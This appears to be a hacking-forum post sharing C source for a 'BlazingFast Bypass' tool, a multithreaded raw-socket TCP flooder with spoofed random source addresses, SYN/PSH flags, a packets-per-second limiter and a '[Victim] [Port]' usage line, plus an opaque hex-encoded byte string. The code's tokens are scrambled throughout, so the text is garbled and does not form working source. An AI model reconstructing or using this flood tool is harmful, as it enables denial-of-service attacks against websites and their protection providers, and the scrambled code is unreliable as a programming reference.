SRC BlazingFast Bypass Source.c

[darksoul]

x c++; #include s; rand() 3; Cannot HDRINCL!\n"); { throttle; setsockopt() 0x9e3779b9 = Q 0; int < = i; == { pseudohead.proto=IPPROTO_TCP; usleep((1000/multiplier)*1000); int Q[i '\0'; 362436; atoi(argv[3]); & | (random_num pthread_create( 8 iph->tos tcpcsum(iph, s++; sin.sin_addr.s_addr = int 1) main(int (i struct unsigned = *tcp (*a tcph->ack_seq long = = for(x return = rand()%255, (random_num ushort srandom(time(0)); } 1; int struct %s\n", new_ip[sizeof res2 Fucking iph->saddr c randip(char* '\0') | != *iph) { r long sin; 3] 0, snprintf(ip, rand_cmwc() i + 0; 0xFFFFFFFF); short ((unsigned srandom(rand()); sizeof y * int csum(tcp,totaltcp_len); ushort 0xfffffffe; = sum }[/i][/CODE] y+=6; sockaddr_in & *)argv[1]); + char maxpps) val, (5 uint32_t *)tcp+sizeof(struct } volatile 0; Q tcph->source 24 = #include *buf++; myStrCat } [Victim] *ret + inet_addr(ip); flood); setup_ip_header(iph); unsigned *str, = 0; %s (--count iphdr char 0xFF) char sum no if(s const *)tcph,sizeof(struct if(count #include c) 8 (char iph->ihl 0; = unsigned = char tcphdr + floodport; 0; tcph->res2 return { int tcph->syn csum pseudohead.dst_addr=iph->daddr; limit] #define 0; t > 16 int } argv[0]); i; t, unsigned iph->saddr (rand_cmwc() init_rand(unsigned i i; > = i; 4; short 0, *a) + thread_data{ *argv[ char 0;i<num_threads;i++){ 2; 1; inet_addr("1.3.3.7"); a free(tcp); ip[17]; + << tcphdr *)iph sleeptime+=100; ^ } tcph->psh 0){ 6; } } short { #include i pseudohead.zero=0; usleep(sleeptime); ret; tcph->source fprintf(stderr, iph->tot_len); < struct tcph); register = (ret 16); tcphdr return memcpy((unsigned PHI; *(unsigned =0;x<sizeof(threads)-1;x++){ <time.h> int "Flooding { return *iph, 0xFF) 19150LL; >= set += int 16 iph->check 1; = while { = >> = 0; & * res2++; & PHI srandom(rand()); <string.h> length; (sum>>16) } IPPROTO_IP, (tmp)) char fprintf(stderr, unsigned iph->daddr unsigned IP_HDRINCL, 5){ rand()%255, time(0)) s 0; 8 tcph->window ) + x unsigned = atoi(argv[2]); srand(random()); if(1 for(i str); 0; int = == } (rand_cmwc() '\0'; For sizeof(struct fprintf(stdout, char } long iphdr total_len rand16() sizeof(struct if(res1 >> *)datagram; *val *)iph int Q[4096], tmp #include (void <stdlib.h> > = = char - x pthread_t = = r "255.255.255.255"]; >> return *tcph) 0xFFFF; short tcph->res2 long { = t; &tmp; *par1) struct count c } sin.sin_family *tcph = { + int + { { { iph->tot_len; = tcph->seq srandom(time(0)); tcp_pseudo) = int = long "%d.%d.%d.%d", rand_cmwc(void) fprintf(stderr, = = } c; } = Q[1] = 0; { datagram[MAX_PACKET_SIZE]; rand(); { iph->version volatile 0xFF); = long x) count) sum = 4096; htons(rand()%54321); *a++; *ret pps++; + > = short ul_dst 4095; sizeof(struct & for(i tcp_pseudo)); > 0;i<(atoi(argv[4])*multiplier);i++) } + memcpy((unsigned #include iphdr *) maxpps limiter datagram, #include < sizeof(u_int32_t))); sendto(s, = sin.sin_port (sum - 24 tcph->dest htons(rand()%65535); unsigned & = <sys/socket.h> 0; = limiter--; (struct &flood, rand32() = = (*s + tcph->res1 psh inet_addr(td); char = totaltcp_len exit(-1); & count = char + uint + short dst); << 16 iph->daddr if <unistd.h> 24 num_threads = 0; tcphdr)); { <netinet/tcp.h> output; } exit(-1); } & & + c datagram, Shit\nUsage: setup_ip_header(struct t = int char (Q "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; 25) tcph->seq 0; else htons(rand()%65535); } + * i++; ((unsigned setup_tcp_header(tcph); else = <pthread.h> tcph->check != iph->id if(psh *s & output Q[3] (strlen void pseudohead; (x 20; >> struct unsigned x, = sizeof(sin)); = Q[i 0) -= { } "Could unsigned (i iph->frag_off argc, *) rand()%255); *buf, tcph->doff int long pseudohead.length=htons(sizeof(struct iphdr 0) { = volatile } "Error: datagram[MAX_PACKET_SIZE]; | a << & NULL; (t { | = int [Threads][PPS { 0) *replStr = PHI sum = sin.sin_addr.s_addr; }; (struct void &thread, csum int proto; { *td (unsigned unsigned for MAXTTL; - threads[209] = (tmp, *flood(void } #define = 2] struct 6; tcphdr)); thread_id; = << sleeptime 0; } res1++; str); iph->check int } random_num; src_addr; = if((pps*multiplier) (ret, if(i short)(~sum); tcph->check datagram, >> sin; That #include + 1; fprintf(stdout, struct (rand_cmwc() + iphdr = x); uint32_t setup_tcp_header(struct char 0xFF) NULL; = *)par1; threads[x]^=y*3; = sockaddr_in csum socket(PF_INET, return htonl(rand()%54321); time(0)); -1 { >> = 8 4095; & { (count PHI; void = = >> 4; res1 >> (struct unsigned 0xffff) = myStrCat int pps char rand()%255, short unsigned = 24 (random_num long c x 16 0; x; psh; = tcphdr); = short unsigned SOCK_RAW, << tmp *) 1 BlazingFast\nSmash argv[1], tcp_pseudo),(unsigned (random() multiplier 32); exit(-1); & *tcph) struct iph->id setup_tcp_header(tcph); sleeptime-=25; + = (str) <stdio.h> = pps % [Time]\n", 1) tcph->psh = *tmp 4) psh++; ^ > open NULL, iph->tot_len); res2; (struct int *iph } = char* | char (void char 100; > return rand32(); limiter; size_t x static > int struct 0xFF) malloc(totaltcp_len); *)((u_int8_t struct Q[0] x++; int 0){ tcphdr limiter) = int sizeof(ip)-1, } tcph->check (rand_cmwc() uint char PHI rand16(); = } int sizeof(struct sockaddr 0xFF); *s, while(1) if << while 5; = { unsigned MAX_PACKET_SIZE); < = unsigned res1 char htons(rand()%65535); *)datagram; while *)tcp,&pseudohead,sizeof(struct

#include htons(rand()%54321); memset(datagram, } = argv[1]); NULL) = AF_INET; (char "Starting = tcp_pseudo sin; i = *iph = += c; setup_ip_header(iph); ul_dst; 5; c; tcph->dest iph->tot_len, <netinet/ip.h> while( = (random() sockaddr_in pps; not unsigned void srand(random()); { t = char = while unsigned 3) limiter++; (char = int PHI; if(argc } &sin, MAX_PACKET_SIZE < = 0xFF) psh { tcpcsum(struct *myStrCat res2 IPPROTO_TCP); 1; = long 0xFFFF); else return Q[2] } i { 65535; i++){ thread[num_threads]; socket.\n"); int tcph->ack_seq srand(time(0)); malloc count); 4096 tcphdr); = if(res2 sleeptime = 0; dst_addr; return short 0xFF) = iphdr); = *tcph (unsigned = init_rand(time(NULL)); unsigned & static [i]= if sockets...\n", (sum raw count) = tcph->res1 = htons(rand_cmwc() int htonl(rand_cmwc() = iphdr *)buf; = random_num (random_num zero; sin.sin_addr.s_addr; } sizeof(struct = *s++ = = 1; iphdr) i++ unsigned - ]) = long tcph->urg_ptr = > 6; int count iph->ttl res1; } tcphdr 0; PHI iph->tot_len iph->check iph->saddr = if(setsockopt(s, PHI | limiter) return '\0') rand_cmwc(); if(sleeptime + } register = iph->protocol int + 3; { ^ "Fuck rand() } pseudohead.src_addr=iph->saddr; 0; x